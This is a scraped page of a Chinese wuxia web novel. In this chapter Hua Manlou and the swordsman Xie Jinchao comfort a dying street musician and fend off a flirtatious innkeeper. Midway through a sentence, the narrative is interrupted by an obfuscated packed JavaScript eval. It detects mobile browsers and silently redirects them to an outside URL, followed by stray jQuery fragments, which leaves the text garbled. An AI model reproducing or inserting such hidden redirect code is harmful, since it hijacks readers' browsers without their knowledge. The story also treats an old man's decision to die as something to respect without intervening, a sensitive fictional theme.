默认冷灰
24号文字
方正启体

14. 你只是想占他便宜

作者:棉花派本书字数:K更新时间:
    灰衣人似想起什么无关紧要的事,“花满楼身边还跟了个人。”


    “是一位用刀的高手,来历不明。流沙帮的人折了三分之二人手在他手里。”


    “高手?”成王终于抬起眼,却只有一丝近乎无聊的兴味,“能高过活人楼里收集的那些鹰犬?”


    “属下不知,此人查无根底。”


    成王应了一声,重新将目光投向笼中鹦鹉,指尖点了点鸟喙,唇角勾起一抹没什么温度的弧度:“能用,就招过来,不能用……这把刀就折了吧!”


    *


    谢今朝刚拐进长街,就听见乐声飘来。


    仔细辨认,是箫声与二胡。箫声清越,二胡嘶哑,两股声音缠在一起,一浮一沉。


    二胡声来自一位佝偻的老人,他蜷在客栈大门对面的阴影里,弦声从他左指下淌出来,把那支箫曲里的幽咽,磨成了粗砺的苦。


    萧声从客栈内传出,其中深藏慈悲心和花满楼有得一比,宽慰人的手法甚至比他更迂回婉转。


    “——可怜呐,这老头原本在客栈里同他闺女一块儿卖艺的。闺女前几日死了,没心肝的老板娘就把她赶跑了。”


    “——他在这儿拉了半天,一个子儿也没讨着,我看是活不过这个冬天了。”


    稀稀落落的议论飘进谢今朝耳朵里。


    他停住脚步。


    风吹过长街。


    好一会儿后,他走到老人面前,把身上剩下的碎银子放进去。


    银子碰着粗陶,发出闷钝的响声。


    老人没抬头,哑着嗓子道:“多谢这位爷。”


    几乎同时,一位小乞丐弯腰,往老人碗前放了一锭银子:“老人家,这是客栈里那位吹箫的客人给你的,他夸你的曲子拉得很好。”


    老人沉默了很久,才缓缓道:“……替我谢谢那位公子。”


    “但银子……请拿回去吧。我用不着了。”


    那语气没有哀戚,只有一种尘埃落定后的放弃。


    谢今朝明明白白知道,这不是绝望,这是死意。


    他见过很多想死的人,在天道派下的任务里,有些人能拉回来,有些人不能。而眼前这个老人,属于后者,他已经准备好独自踏上自己选择的死路了。


    对于一个心意已决、连别人的善意和银钱都拒绝的求死者,他向来无能为力。


    谢今朝没有劝说,永远尊重一个将死之人的决心。


    ……


    无人窥觉之处。


    当谢今朝那枚碎银落入破碗,冥冥之中,有一根超越此方世界法则的“线”,轻微地颤动了一下,一端悄然系于他给出银两的指尖,另一端则飘向那心如死灰的老乐师。


    [感化配对,建立。]


    [当前进度:0。]


    ……


    这客栈叫“人来人往”,老板娘叫翠浓,是个四十多岁的女人,性格泼辣。谢今朝一走进来,就听见她正和客人调笑,声音此起彼伏,很吵很吵。


    花满楼坐在靠窗的角落,手里一管玉箫,调子不高,曲调悠长,在这闹哄哄的地方,一下子让他听清楚了,心里也跟着静了静。


    原来他就是吹箫之人。


    谢今朝有种意料之外,又情理之中的错觉。


    他在花满楼身旁坐下,怀抱着刚买回来的新刀,目光放远,安静时简直像孤松,又淡得像苍雪。


    ——他在等,等花满楼。


    ——等花满楼的萧声停。


    花满楼的萧声和着客栈对面卖艺的老乞丐,哀愁的,毫无生气的二胡声,整个世界仿佛只剩下他和那个街边拉二胡乞讨的老乐师。


    二胡的声音不知道从哪里飘来,也不知道要飘到哪。


    它飘向东方,是无边无急的荒漠,它飘向西边,是无边无际的荒原。


    它不知道哪里有它辉煌的岁月,它从来没有受过人们的赞美和欣赏。


    它在命运的颠沛流离中,徘徊,留连,寻找不到生路。


    窗外,天连着长街。


    客栈,公子月白锦衣,通身气度华贵,他的萧声没有内力,只是在拉着那一缕悲切的二胡音,试图不让它飘向荒漠去,也不飘向荒原去,最重要的,不到没有生路的地方去。


    谢今朝不太懂器乐,但他知道只有花满楼会在这个吵吵闹闹的地方,用这么迂回的手法安慰一个快死的老人。


    他听了许久,花满楼吹了许久,但每次的结果都一样。


    半柱香后,对面二胡音终于停了,余声依旧悲切,花满楼的萧声也跟停了,温润的白衣公子唇边微抿,沉默了足足好一会儿。


    “我刚听到他的妻子三年前死了,女儿一个月前死了,连拉磨的骡子七天前也死了。”谢今朝将消息分享给他,“你的萧声没有用,银子也没有用,劝不了他活下去。”


    这话乍一听很刻薄,但花满楼知道他只是在陈述自己的所见所闻,所以他并未像多大数人那样去怪他:“——我知道他活不下去,我只是在替他感到惋惜,他寻生路的过程已经比寻常人要艰难许多,却要在此时此刻放弃,而我,却没有任何立场宽解他。”


    谢今朝循着声音看去,只见花满楼长长的眼睫毛清晰垂下,这好像是他第一次在对方身上看到悲伤的表情。


    但人生中本来就有很多不如意的事情,即使是非常热爱生命的花满楼,在别人有充足理由奔赴死亡的时候,也是无能为力的。


    谢今朝刚要再说什么。


    楼梯传来一顿噔!噔!噔的脚步声。


    “这位公子,你的酒来了……”


    未见其人,先闻其声。老板娘款款而来,和她送来的酒一起到了。


    谢今朝不喜欢对方身上的胭脂水粉味,更不明白为何她要擦很多粉在脸上,一边走路,一边掉。


    几乎同一时刻。


    窗外长街,昏暗之际,坐着正准备靠近的佝偻乐师,在瞥见女人的身影凑过来后,狠毒的目光冷冷一凝。


    ——像是嫌弃她出现的时机非常碍事!


    花满楼刚摸上茶杯,耳边传来一阵笑声。


    “我的好公子,你出手这么阔错,萧声又如此动听,难不成是想来我这客栈当乐师不成!”老板娘这把声音像二十岁的少女,“公子生得这么俊,你若是愿意当乐师,奴家我可出不起工钱。”


    花满楼展开扇面:“我一时兴起,希望没有打扰到姑娘客栈里的生意。”


    老板娘半个胸口压往花满楼那边,温柔道:“奴家待字闺中二十几年,这得多少年没人喊我姑娘了,花公子你说话怎么这么招人疼呢。”


    她长得不算美,甚至算老。


    但有眼珠的人,会发现她有一双明亮的眼睛。


    花满楼有一瞬间怀疑自己的耳朵,也怀疑她的年龄,因为这把嗓音夹得厉害,却绝不是三十岁往上的嗓音:“……”


    谢今朝见老板娘穿得少,把目光移向了窗外。


    但的刀从来没有离过手。


    只不过花满楼被人言语调戏,不在他拔刀的范围内……


    “奴家有更好的酒,只是没有机会和花公子独酌,”,她越贴得越近,花满楼只觉得过多的胭脂水粉香气贴面而来,“奴家看今夜月色会很好,公子一个人吹萧有什么意思的,想不想伴着月色,用着美酒,吹一曲我听听……”


    那年轻刀客在一旁静观,看着两人之间本就不宽的距离被这女子一寸寸缩短,清楚她迟早要贴上花满楼的身上去。


    但很奇怪,花满楼没有移开目光,就这么看着这个大他很多岁的女人,哪怕她穿得少,也不避嫌,这不像平常的花满楼……


    谢今朝的眉头蹙了一下。


    一个清晰而“合理”的结论,从他简单直接的分析里脱颖而出:原来,花满楼喜欢的,是年纪比他大上许多的女子。


    值得一提的是,要是陆小凤在这里,肯定会很有办法应对这种江湖人奔放的荤色调笑。但花满楼明显是个君子,君子只能摇着头,选择在不伤女孩子薄面的情况拒绝她:“花某酒力有限,老板娘的月色很好,但花某恐怕是赏不了了。”


    他尽量以不伤人的方式躲开对方,唇角仍挂着温润的笑:“这桌子长年累月地用,可能不够稳固,老板娘若是想和


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489825|202175||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我们说说话,不妨坐下来。”


    “——呦,老板娘原来喜欢小白脸啊!”


    “——早说嘛不是!”


    大堂传来异样的调笑声。


    翠浓骂完,这才整了整略有些凌乱的衣衫,款款站起身。她眼波流转,带着七分嗔怪三分媚意,素手一抬,便朝着花满楼的肩头软软搭去,嘴里还拖着调子:“公子您可要为我做——”


    “主”字没落下,她的手没落下——


    几乎同时,另一只骨节分明的手擒住了她的手腕,力道不重,却稳得不容挣脱。


    “你别碰他。” 谢今朝淡漠道。


    老板娘道:“这位小兄弟,你怎么忽然来占小女子的便宜呢。”


    谢今朝道出很客观的事实:“是你想占他便宜。”


    在他的认知里,花满楼是极好的人。哪怕……他当真有些异于常人的喜好,比如偏爱年长女子,那也是他个人的事。一个这样好的人,不该在这种龙蛇混杂的客栈里,被别有用心者用这般轻佻的方式对待,更不该沦为周遭那些不怀好意目光中的笑料谈资。


    尽管他以前执行任务时,并不会管这些事。


    但他也有看不下去的时候。


    老板娘脸上那点刻意堆砌的风情笑容,被这句直白的话刺得裂开一道缝隙。但她很快又重新扯起嘴角:“小哥胡说八道什么呀,赶紧给老娘松开,小心呀吃老娘的巴掌。”


    “……”谢今朝径直松开,面上不为所动,淡漠隔开了她和花满楼之间的距离。


    但这种彻底的漠视比直接对骂更伤人。


    “老板娘,请息怒。”一道清润温和的嗓音适时响起,打破了这剑拔弩张的僵持,面却是朝着谢今朝说的,“我这位朋友初入江湖,言语间若有冲撞,实非恶意,还往姑娘海涵。”


    锦衣公子态度诚恳,给足了台阶。翠浓火气被他这么一堵,瞪了谢今朝一眼,便收了架势:“还是这位公子明事理,明眼人一看就知道,我只是欣赏这位公子。”


    可惜谢今朝并不在意她的谩骂。


    翠浓:“我还是听花公子说话舒服。”,她立刻变了面孔,笑脸盈盈地望向花满楼,“公子夜里的酒不喝,白天的酒也不见多喝,要的都是茶水,难道这窗户边上就这么有趣,能让你干着看一天?”


    花满楼一边听一边应,“我要的酒叫醉生梦死,奈何老板娘的客栈没有。”


    听到‘醉生梦死’,老板娘没什么反应。


    看样子是真的没听过。


    花满楼又温声道:“虽然没有酒,但客栈人来人往,却有人生百态,比如东南角有位客人正在剥核桃,磕碎的声音脆如裂帛,西北角有个孩子正在和父亲争执,带着哭腔,父亲却在压着嗓子哄,”,他顿了顿,指尖轻抚过手边的茶杯,“就连姑娘身上的香,也是上好的香,混在里面的席水木应当是用到了百年木,这些在别处都很少见,花某坐下来欣赏一天也是值得的。”


    除此之外,客栈来来往往的人,大多身怀一点武功,内力有的深,有的浅,武器有的重,有的轻,带的东西或价值连城,或有市无价。有的人藏在暗处,气息隐蔽,不知道在偷窥何处。


    东南角,正用内力开核桃的叶开,闻声差点砸到手:“……”


    翠浓笑着说,“但这些对于花公子来说不都是很稀疏平常的事情吗,你这身衣服就价值千金了,这上好的香,再稀奇,你买一买还能买不到。”


    花满楼叹道:“花某不才,像席水木这样的好东西,恐怕连我也买不到,只能想一想。”


    翠浓面对花满楼,好像立刻温柔规矩起来了:“想有什么用,这天上会掉馅饼吗。”


    花满楼慢慢摇头,轻声道:“不想的话,恐怕需要很多钱。”


    翠浓眨着眼:“可客栈的老板娘,有的是钱。”她不说我有的是钱。


    花满楼再道:“可你拿了这么好的东西,万一被人家惦记并偷了怎么办?”


    翠浓悠然道:“不孤城里可没人敢撒野。”


    花满楼没有再和她兜圈子了:“是因为宝贝是在活人楼里拍的?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)